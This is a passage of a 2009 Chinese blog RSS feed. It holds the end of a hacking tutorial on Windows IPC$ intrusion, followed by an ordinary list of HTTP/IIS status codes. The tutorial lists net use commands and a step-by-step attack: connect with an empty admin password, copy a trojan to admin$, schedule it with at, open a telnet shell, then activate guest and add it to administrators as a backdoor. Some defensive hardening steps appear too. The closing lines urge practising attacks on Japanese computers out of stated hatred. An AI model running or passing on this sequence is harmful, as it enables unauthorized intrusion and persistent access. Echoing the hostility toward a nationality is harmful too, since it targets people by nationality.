<br>(基本上可以总结为获取目标信息、管理目标进程和服务,上传木马并运行,如果是2000server，还可以考虑开启终端服务方便控制.怎么样?够厉害吧!) <br>不过你也不要高兴的太早,因为管理员的密码不是那么好搞到的,虽然会有一些傻傻的管理员用空口令或者弱智密码,但这毕竟是少数,而且现在不比从前了,随着人们安全意识的提高,管理员们也愈加小心了,得到管理员密码会越来越难的:( <br>因此今后你最大的可能就是以极小的权限甚至是没有权限进行连接,你会慢慢的发现ipc$连接并不是万能的,甚至在主机不开启ipc$共享时,你根本就无法连接. <br>所以我认为,你不要把ipc$入侵当作终极武器,不要认为它战无不胜,它就像是足球场上射门前的传球,很少会有致命一击的效果,但却是不可缺少的,我觉得这才是ipc$连接在hack入侵中的意义所在. <br><br><br>四 ipc$与空连接,139,445端口,默认共享的关系 <br>以上四者的关系可能是菜鸟很困惑的一个问题,不过大部分文章都没有进行特别的说明,其实我理解的也不是很透彻,都是在与大家交流中总结出来的.(一个有良好讨论氛围的BBS可以说是菜鸟的天堂) <br><br>1)ipc$与空连接: <br>不需要用户名与密码的ipc$连接即为空连接,一旦你以某个用户或管理员的身份登陆(即以特定的用户名和密码进行ipc$连接),自然就不能叫做空连接了. <br>许多人可能要问了,既然可以空连接,那我以后就空连接好了,为什么还要费九牛二虎之力去扫描弱口令,呵呵,原因前面提到过,当你以空连接登陆时,你没有任何权限(很郁闷吧),而你以用户或管理员的身份登陆时,你就会有相应的权限(有权限谁不想呀,所以还是老老实实扫吧,不要偷懒哟). <br>2)ipc$与139,445端口: <br>ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的. <br>3)ipc$与默认共享 <br>默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享) <br><br><br>五 ipc$连接失败的原因 <br>以下5个原因是比较常见的: <br>1)你的系统不是NT或以上操作系统; <br>2)对方没有打开ipc$默认共享 <br>3)对方未开启139或445端口(惑被防火墙屏蔽) <br>4)你的命令输入有误(比如缺少了空格等) <br>5)用户名或密码错误(空连接当然无所谓了) <br>另外,你也可以根据返回的错误号分析原因： <br>错误号5，拒绝访问 ： 很可能你使用的用户不是管理员权限的，先提升权限； <br>错误号51，Windows 无法找到网络路径 : 网络有问题； <br>错误号53，找不到网络路径 ： ip地址错误；目标未开机；目标lanmanserver服务未启动；目标有防火墙（端口过滤）； <br>错误号67，找不到网络名 ： 你的lanmanworkstation服务未启动；目标删除了ipc$； <br>错误号1219，提供的凭据与已存在的凭据集冲突 ： 你已经和对方建立了一个ipc$，请删除再连。 <br>错误号1326，未知的用户名或错误密码 ： 原因很明显了； <br>错误号1792，试图登录，但是网络登录服务没有启动 ： 目标NetLogon服务未启动。（连接域控会出现此情况） <br>错误号2242，此用户的密码已经过期 ： 目标有帐号策略，强制定期要求更改密码。 <br>关于ipc$连不上的问题比较复杂，除了以上的原因,还会有其他一些不确定因素,在此本人无法详细而确定的说明,就靠大家自己体会和试验了. <br><br><br>六 如何打开目标的IPC$(此段引自相关文章) <br>首先你需要获得一个不依赖于ipc$的shell，比如sql的cmd扩展、telnet、木马,当然，这shell必须是admin权限的,然后你可以使用shell执行命令 net share ipc$ 来开放目标的ipc$。从上面可以知道，ipc$能否使用还有很多条件。请确认相关服务都已运行，没有就启动它（不知道怎么做的请看net命令的用法）,还是不行的话（比如有防火墙，杀不了）建议放弃。 <br><br><br>七 如何防范ipc$入侵 <br>1禁止空连接进行枚举(此操作并不能阻止空连接的建立,引自《解剖win2000下的空会话》) <br>首先运行regedit，找到如下组建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为：00000001(如果设置为2的话,有一些问题会发生,比如一些WIN的服务出现问题等等) <br><br>2禁止默认共享 <br>1）察看本地共享资源 <br>运行-cmd-输入net share <br>2）删除共享(每次输入一个） <br>net share ipc$ /delete <br>net share admin$ /delete <br>net share c$ /delete <br>net share d$ /delete（如果有e,f,……可以继续删除） <br>3）停止server服务 <br>net stop server /y （重新启动后server服务会重新开启） <br>4）修改注册表 <br>运行-regedit <br>server版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer（DWORD）的键值改为:00000000。 <br>pro版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks（DWORD）的键值改为:00000000。 <br>如果上面所说的主键不存在，就新建(右击-新建-双字节值）一个主健再改键值。 <br><br>3永久关闭ipc$和默认共享依赖的服务:lanmanserver即server服务 <br>控制面板-管理工具-服务-找到server服务（右击）-属性-常规-启动类型-已禁用 <br><br>4安装防火墙(选中相关设置)，或者端口过滤(滤掉139,445等),或者用新版本的优化大师 <br><br>5设置复杂密码，防止通过ipc$穷举密码 <br><br><br>（本教程不定期更新，欲获得最新版本，请登陆官方网站：菜菜鸟社区原创</span><wbr /><a href="http://ccbirds.yeah.net/" target="_blank"><span style="color:#0000ff;line-height:1.8em;">http://ccbirds.yeah.net</span><wbr /></a><wbr /><span style="color:#0000ff;line-height:1.8em;">） <br><br><br>八 相关命令 <br>1)建立空连接: <br>net use \\IP\ipc$ &quot;&quot; /user:&quot;&quot; (一定要注意:这一行命令中包含了3个空格) <br><br>2)建立非空连接: <br>net use \\IP\ipc$ &quot;用户名&quot; /user:&quot;密码&quot; (同样有3个空格) <br><br>3)映射默认共享: <br>net use z: \\IP\c$ &quot;密码&quot; /user:&quot;用户名&quot; (即可将对方的c盘映射为自己的z盘，其他盘类推) <br>如果已经和目标建立了ipc$，则可以直接用IP+盘符+$访问,具体命令 net use z: \\IP\c$ <br><br>4)删除一个ipc$连接 <br>net use \\IP\ipc$ /del <br><br>5)删除共享映射 <br>net use c: /del 删除映射的c盘，其他盘类推 <br>net use * /del 删除全部,会有提示要求按y确认 <br><br><br>九 经典入侵模式 <br>这个入侵模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创作者!(不知道是哪位前辈) <br><br>1. C:\&gt;net use \\127.0.0.1\IPC$ &quot;&quot; /user:&quot;admintitrators&quot; <br>这是用《流光》扫到的用户名是administrators，密码为&quot;空&quot;的IP地址(空口令?哇,运气好到家了)，如果是打算攻击的话，就可以用这样的命令来与127.0.0.1建立一个连接，因为密码为&quot;空&quot;，所以第一个引号处就不用输入，后面一个双引号里的是用户名，输入administrators，命令即可成功完成。 <br><br>2. C:\&gt;copy srv.exe \\127.0.0.1\admin$ <br>先复制srv.exe上去，在流光的Tools目录下就有（这里的$是指admin用户的c:\winnt\system32\，大家还可以使用c$、d$，意思是C盘与D盘，这看你要复制到什么地方去了）。 <br><br>3. C:\&gt;net time \\127.0.0.1 <br>查查时间，发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00，命令成功完成。 <br><br>4. C:\&gt;at \\127.0.0.1 11:05 srv.exe <br>用at命令启动srv.exe吧（这里设置的时间要比主机时间快，不然你怎么启动啊，呵呵！） <br><br>5. C:\&gt;net time \\127.0.0.1 <br>再查查到时间没有？如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05，那就准备开始下面的命令。 <br><br>6. C:\&gt;telnet 127.0.0.1 99 <br>这里会用到Telnet命令吧，注意端口是99。Telnet默认的是23端口，但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。 <br>虽然我们可以Telnet上去了，但是SRV是一次性的，下次登录还要再激活！所以我们打算建立一个Telnet服务！这就要用到ntlm了 <br><br>7.C:\&gt;copy ntlm.exe \\127.0.0.1\admin$ <br>用Copy命令把ntlm.exe上传到主机上（ntlm.exe也是在《流光》的Tools目录中）。 <br><br>8. C:\WINNT\system32&gt;ntlm <br>输入ntlm启动（这里的C:\WINNT\system32&gt;指的是对方计算机，运行ntlm其实是让这个程序在对方计算机上运行）。当出现&quot;DONE&quot;的时候，就说明已经启动正常。然后使用&quot;net start telnet&quot;来开启Telnet服务！ <br><br>9. Telnet 127.0.0.1，接着输入用户名与密码就进入对方了，操作就像在DOS上操作一样简单！(然后你想做什么?想做什么就做什么吧,哈哈) <br><br>为了以防万一,我们再把guest激活加到管理组 <br>10. C:\&gt;net user guest /active:yes <br>将对方的Guest用户激活 <br><br>11. C:\&gt;net user guest 1234 <br>将Guest的密码改为1234,或者你要设定的密码 <br><br>12. C:\&gt;net localgroup administrators guest /add <br>将Guest变为Administrator^_^(如果管理员密码更改，guest帐号没改变的话，下次我们可以用guest再次访问这台计算机) <br><br><br>十 总结: <br>关于ipc入侵就说这么多了,觉得已经够详细了,如果有不准确的地方,希望能与大家讨论. <br>最后,希望大家不要随便入侵,我写这篇文章的目的是想解答大家的疑惑,并不是鼓励大家随便的入侵,如果你非想试一下,建议拿小日本的机子开练(什么?为什么?因为我讨厌日本,没别的)</span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[软件开发]]></category>
<author><![CDATA[93039799@qq.com(树袋熊)]]></author>
<comments>http://93039799.qzone.qq.com/blog/1248149569#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Tue, 21 Jul 2009 04:12:49 GMT</pubDate>
<guid>http://93039799.qzone.qq.com/blog/1248149569</guid>
</item>

<item>
<title><![CDATA[HTTP状态代码]]></title>
<link>http://93039799.qzone.qq.com/blog/1247535753</link>
<description><![CDATA[<span style="font-size:13px;line-height:1.8em;">1xx - 信息提示<br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　这些状态代码表示临时的响应。客户端在收到常规响应之前，应准备接收一个或多个 1xx 响应。 &amp;#8226; 100 - 继续。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 101 - 切换协议。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　2xx - 成功<br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　这类状态代码表明服务器成功地接受了客户端请求。 &amp;#8226; 200 - 确定。客户端请求已成功。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 201 - 已创建。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 202 - 已接受。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 203 - 非权威性信息。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 204 - 无内容。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 205 - 重置内容。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 206 - 部分内容。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　3xx - 重定向<br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　客户端浏览器必须采取更多操作来实现请求。例如，浏览器可能不得不请求服务器上的不同的页面，或通过代理服务器重复该请求。 &amp;#8226; 302 - 对象已移动。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 304 - 未修改。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 307 - 临时重定向。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　4xx - 客户端错误<br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　发生错误，客户端似乎有问题。例如，客户端请求不存在的页面，客户端未提供有效的身份验证信息。 &amp;#8226; 400 - 错误的请求。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 401 - 访问被拒绝。IIS 定义了许多不同的 401 错误，它们指明更为具体的错误原因。这些具体的错误代码在浏览器中显示，但不在 IIS 日志中显示： &amp;#8226; 401.1 - 登录失败。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 401.2 - 服务器配置导致登录失败。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 401.3 - 由于 ACL 对资源的限制而未获得授权。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 401.4 - 筛选器授权失败。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 401.5 - ISAPI/CGI 应用程序授权失败。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 401.7 – 访问被 Web 服务器上的 URL 授权策略拒绝。这个错误代码为 IIS 6.0 所专用。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 403 - 禁止访问：IIS 定义了许多不同的 403 错误，它们指明更为具体的错误原因： &amp;#8226; 403.1 - 执行访问被禁止。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 403.2 - 读访问被禁止。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 403.3 - 写访问被禁止。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 403.4 - 要求 SSL。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 403.5 - 要求 SSL 128。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 403.6 - IP 地址被拒绝。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 403.7 - 要求客户端证书。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 403.8 - 站点访问被拒绝。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 403.9 - 用户数过多。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 403.10 - 配置无效。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 403.11 - 密码更改。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 403.12 - 拒绝访问映射表。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 403.13 - 客户端证书被吊销。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 403.14 - 拒绝目录列表。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 403.15 - 超出客户端访问许可。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 403.16 - 客户端证书不受信任或无效。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 403.17 - 客户端证书已过期或尚未生效。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 403.18 - 在当前的应用程序池中不能执行所请求的 URL。这个错误代码为 IIS 6.0 所专用。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 403.19 - 不能为这个应用程序池中的客户端执行 CGI。这个错误代码为 IIS 6.0 所专用。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 403.20 - Passport 登录失败。这个错误代码为 IIS 6.0 所专用。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 404 - 未找到。 &amp;#8226; 404.0 -（无） – 没有找到文件或目录。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 404.1 - 无法在所请求的端口上访问 Web 站点。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 404.2 - Web 服务扩展锁定策略阻止本请求。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 404.3 - MIME 映射策略阻止本请求。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 405 - 用来访问本页面的 HTTP 谓词不被允许（方法不被允许） <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 406 - 客户端浏览器不接受所请求页面的 MIME 类型。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 407 - 要求进行代理身份验证。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 412 - 前提条件失败。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 413 – 请求实体太大。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 414 - 请求 URI 太长。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 415 – 不支持的媒体类型。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 416 – 所请求的范围无法满足。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 417 – 执行失败。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 423 – 锁定的错误。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　5xx - 服务器错误<br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　服务器由于遇到错误而不能完成该请求。 &amp;#8226; 500 - 内部服务器错误。 &amp;#8226; 500.12 - 应用程序正忙于在 Web 服务器上重新启动。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 500.13 - Web 服务器太忙。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 500.15 - 不允许直接请求 Global.asa。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 500.16 – UNC 授权凭据不正确。这个错误代码为 IIS 6.0 所专用。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 500.18 – URL 授权存储不能打开。这个错误代码为 IIS 6.0 所专用。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 500.100 - 内部 ASP 错误。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 501 - 页眉值指定了未实现的配置。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 502 - Web 服务器用作网关或代理服务器时收到了无效响应。 &amp;#8226; 502.1 - CGI 应用程序超时。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 502.2 - CGI 应用程序出错。application. <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 503 - 服务不可用。这个错误代码为 IIS 6.0 所专用。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 504 - 网关超时。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 505 - HTTP 版本不受支持。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　常见的 HTTP 状态代码及其原因<br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 200 - 成功。 此状态代码表示 IIS 已成功处理请求。<br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 304 - 未修改。 客户端请求的文档已在其缓存中，文档自缓存以来尚未被修改过。客户端使用文档的缓存副本，而不从服务器下载文档。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 401.1 - 登录失败。 登录尝试不成功，可能因为用户名或密码无效。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 401.3 - 由于 ACL 对资源的限制而未获得授权。 这表示存在 NTFS 权限问题。即使您对试图访问的文件具备相应的权限，也可能发生此错误。例如，如果 IUSR 帐户无权访问 C:\Winnt\System32\Inetsrv 目录，您会看到这个错误。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 403.1 - 执行访问被禁止。 下面是导致此错误信息的两个常见原因： &amp;#8226; 您没有足够的执行许可。例如，如果试图访问的 ASP 页所在的目录权限设为“无”，或者，试图执行的 CGI 脚本所在的目录权限为“只允许脚本”，将出现此错误信息。若要修改执行权限，请在 Microsoft 管理控制台 (MMC) 中右击目录，然后依次单击属性和目录选项卡，确保为试图访问的内容设置适当的执行权限。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 您没有将试图执行的文件类型的脚本映射设置为识别所使用的谓词（例如，GET 或 POST）。若要验证这一点，请在 MMC 中右击目录，依次单击属性、目录选项卡和配置，然后验证相应文件类型的脚本映射是否设置为允许所使用的谓词。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 403.2 - 读访问被禁止。验证是否已将 IIS 设置为允许对目录进行读访问。另外，如果您正在使用默认文件，请验证该文件是否存在。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 403.3 - 写访问被禁止。 验证 IIS 权限和 NTFS 权限是否已设置以便向该目录授予写访问权。<br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 403.4 - 要求 SSL。禁用要求安全通道选项，或使用 HTTPS 代替 HTTP 来访问该页面。<br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 403.5 - 要求 SSL 128。禁用要求 128 位加密选项，或使用支持 128 位加密的浏览器以查看该页面。<br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 403.6 - IP 地址被拒绝。您已把您的服务器配置为拒绝访问您目前的 IP 地址。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 403.7 - 要求客户端证书。您已把您的服务器配置为要求客户端身份验证证书，但您未安装有效的客户端证书。<br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 403.8 - 站点访问被拒绝。您已为您用来访问服务器的域设置了域名限制。<br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 403.9 - 用户数过多。与该服务器连接的用户数量超过了您设置的连接限制。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　注意：Microsoft Windows 2000 PRofessional 和 Microsoft Windows XP PRofessional 自动设置了在 IIS 上最多 10 个连接的限制。您无法更改此限制。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 403.12 - 拒绝访问映射表。 您要访问的页面要求提供客户端证书，但映射到您的客户端证书的用户 ID 已被拒绝访问该文件。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 404 - 未找到。 发生此错误的原因是您试图访问的文件已被移走或删除。如果在安装 URLScan 工具之后，试图访问带有有限扩展名的文件，也会发生此错误。这种情况下，该请求的日志文件项中将出现“Rejected by URLScan”的字样。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 500 - 内部服务器错误。 很多服务器端的错误都可能导致该错误信息。事件查看器日志包含更详细的错误原因。此外，您可以禁用友好 HTTP 错误信息以便收到详细的错误说明。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 500.12 - 应用程序正在重新启动。 这表示您在 IIS 重新启动应用程序的过程中试图加载 ASP 页。刷新页面后，此信息即会消失。如果刷新页面后，此信息再次出现，可能是防病毒软件正在扫描 Global.asa 文件。 <br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 500-100.ASP - ASP 错误。 如果试图加载的 ASP 页中含有错误代码，将出现此错误信息。若要获得更确切的错误信息，请禁用友好 HTTP 错误信息。默认情况下，只会在默认 Web 站点上启用此错误信息。<br></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">　　&amp;#8226; 502 - 网关错误。 如果试图运行的 CGI 脚本不返回有效的 HTTP 标头集，将出现此错误信息。</span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[软件开发]]></category>
<author><![CDATA[93039799@qq.com(树袋熊)]]></author>
<comments>http://93039799.qzone.qq.com/blog/1247535753#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Tue, 14 Jul 2009 01:42:33 GMT</pubDate>
<guid>http://93039799.qzone.qq.com/blog/1247535753</guid>
</item>

</channel>
</rss>

